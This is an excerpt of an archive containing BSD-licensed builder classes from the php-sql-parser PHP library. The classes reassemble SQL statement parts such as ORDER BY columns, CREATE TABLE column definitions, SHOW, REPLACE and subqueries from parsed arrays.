 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for column references within the ORDER-BY part. 
 * It must contain the direction. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class OrderByColumnReferenceBuilder extends ColumnReferenceBuilder {

    protected function buildDirection($parsed) {
        $builder = new DirectionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = parent::build($parsed);
        if ($sql !== '') {
            $sql .= $this->buildDirection($parsed);
        }
        return $sql;
    }

}
?>
PK     \V    U  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ColumnDefinitionBuilder.phpnu [        <?php
/**
 * ColumnDefinitionBuilder.php
 *
 * Builds the column definition statement part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the columndefinition statement part 
 * of CREATE TABLE. You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ColumnDefinitionBuilder implements Builder {

    protected function buildColRef($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }

    protected function buildColumnType($parsed) {
        $builder = new ColumnTypeBuilder();
        return $builder->build($parsed);
    }

   public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::COLDEF) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildColumnType($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE primary key subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \Ob
  b
  R  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ShowStatementBuilder.phpnu [        <?php
/**
 * ShowStatementBuilder.php
 *
 * Builds the SHOW statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the SHOW statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ShowStatementBuilder implements Builder {

    protected function buildWHERE($parsed) {
        $builder = new WhereBuilder();
        return $builder->build($parsed);
    }

    protected function buildSHOW($parsed) {
        $builder = new ShowBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = $this->buildSHOW($parsed);
        if (isset($parsed['WHERE'])) {
            $sql .= " " . $this->buildWHERE($parsed['WHERE']);
        }
        return $sql;
    }
}
?>
PK     \    N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexLockBuilder.phpnu [        <?php
/**
 * IndexLockBuilder.php
 *
 * Builds index lock part of a CREATE INDEX statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the index lock of CREATE INDEX statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class IndexLockBuilder implements Builder {

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildOperator($parsed) {
        $builder = new OperatorBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::INDEX_LOCK) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildOperator($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE INDEX lock subtree', $k, $v, 'expr_type');
            }

            $sql .= ' ';
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \	  	  M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ReservedBuilder.phpnu [        <?php
/**
 * ReservedBuilder.php
 *
 * Builds reserved keywords.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for reserved keywords.
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ReservedBuilder implements Builder {

    public function isReserved($parsed) {
        return (isset($parsed['expr_type']) && $parsed['expr_type'] === ExpressionType::RESERVED);
    }

    public function build(array $parsed) {
        if (!$this->isReserved($parsed)) {
            return "";
        }
        return $parsed['base_expr'];
    }
}
?>
PK     \ȩ    N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/TempTableBuilder.phpnu [        <?php
/**
 * TempTableBuilder.php
 *
 * Builds the temporary table name/join options.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the temporary table name and join options. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class TempTableBuilder implements Builder {

    protected function buildAlias($parsed) {
        $builder = new AliasBuilder();
        return $builder->build($parsed);
    }

    protected function buildJoin($parsed) {
        $builder = new JoinBuilder();
        return $builder->build($parsed);
    }

    protected function buildRefType($parsed) {
        $builder = new RefTypeBuilder();
        return $builder->build($parsed);
    }

    protected function buildRefClause($parsed) {
        $builder = new RefClauseBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed, $index = 0) {
        if ($parsed['expr_type'] !== ExpressionType::TEMPORARY_TABLE) {
            return '';
        }

        $sql = $parsed['table'];
        $sql .= $this->buildAlias($parsed);

        if ($index !== 0) {
            $sql = $this->buildJoin($parsed['join_type']) . $sql;
            $sql .= $this->buildRefType($parsed['ref_type']);
            $sql .= $parsed['ref_clause'] === false ? '' : $this->buildRefClause($parsed['ref_clause']);
        }
        return $sql;
    }
}
?>
PK     \*    M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SubQueryBuilder.phpnu [        <?php
/**
 * SubQueryBuilder.php
 *
 * Builds the statements for sub-queries.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for sub-queries. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class SubQueryBuilder implements Builder {

    protected function buildRefClause($parsed) {
        $builder = new RefClauseBuilder();
        return $builder->build($parsed);
    }

    protected function buildRefType($parsed) {
        $builder = new RefTypeBuilder();
        return $builder->build($parsed);
    }

    protected function buildJoin($parsed) {
        $builder = new JoinBuilder();
        return $builder->build($parsed);
    }

    protected function buildAlias($parsed) {
        $builder = new AliasBuilder();
        return $builder->build($parsed);
    }

    protected function buildSelectStatement($parsed) {
        $builder = new SelectStatementBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed, $index = 0) {
        if ($parsed['expr_type'] !== ExpressionType::SUBQUERY) {
            return '';
        }

        // TODO: should we add a numeric level (0) between sub_tree and SELECT?
        $sql = $this->buildSelectStatement($parsed['sub_tree']);
        $sql = '(' . $sql . ')';
        $sql .= $this->buildAlias($parsed);

        if ($index !== 0) {
            $sql = $this->buildJoin($parsed['join_type']) . $sql;
            $sql .= $this->buildRefType($parsed['ref_type']);
            $sql .= $parsed['ref_clause'] === false ? '' : $this->buildRefClause($parsed['ref_clause']);
        }
        return $sql;
    }
}
?>
PK     \7H    [  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/WhereBracketExpressionBuilder.phpnu [        <?php
/**
 * WhereBracketExpressionBuilder.php
 *
 * Builds bracket expressions within the WHERE part.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for bracket expressions within the WHERE part.
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class WhereBracketExpressionBuilder implements Builder {

    protected function buildColRef($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    protected function buildOperator($parsed) {
        $builder = new OperatorBuilder();
        return $builder->build($parsed);
    }

    protected function buildFunction($parsed) {
        $builder = new FunctionBuilder();
        return $builder->build($parsed);
    }

    protected function buildInList($parsed) {
        $builder = new InListBuilder();
        return $builder->build($parsed);
    }

    protected function buildWhereExpression($parsed) {
        $builder = new WhereExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildUserVariable($parsed) {
        $builder = new UserVariableBuilder();
        return $builder->build($parsed);
    }

    protected function buildSubQuery($parsed) {
        $builder = new SubQueryBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
      $builder = new ReservedBuilder();
      return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::BRACKET_EXPRESSION) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildOperator($v);
            $sql .= $this->buildInList($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildWhereExpression($v);
            $sql .= $this->build($v);
            $sql .= $this->buildUserVariable($v);
           // $sql .= $this->buildSubQuery($v);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildSubQuery($v);
            
            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('WHERE expression subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }

        $sql = "(" . substr($sql, 0, -1) . ")";
        return $sql;
    }

}
?>
PK     \B    L  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ReplaceBuilder.phpnu [        <?php
/**
 * ReplaceBuilder.php
 *
 * Builds the [REPLACE] statement part.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the [REPLACE] statement parts. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ReplaceBuilder implements Builder {

    protected function buildTable($parsed) {
        $builder = new TableBuilder();
        return $builder->build($parsed, 0);
    }

    protected function buildSubQuery($parsed) {
        $builder = new SubQueryBuilder();
        return $builder->build($parsed, 0);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildBracketExpression($parsed) {
        $builder = new SelectBracketExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildColumnList($parsed) {
        $builder = new ReplaceColumnListBuilder();
        return $builder->build($parsed, 0);
    }

    public function build(array $parsed) {
        $sql = '';
        foreach ($parsed as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildTable($v);
            $sql .= $this->buildSubQuery($v);
            $sql .= $this->buildColumnList($v);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildBracketExpression($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('REPLACE', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return 'REPLACE ' . substr($sql, 0, -1);
    }

}
?>
PK     \QpKK  K  N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/RefClauseBuilder.phpnu [        <?php
/**
 * RefClauseBuilder.php
 *
 * Builds reference clauses within a JOIN.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the references clause within a JOIN.
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
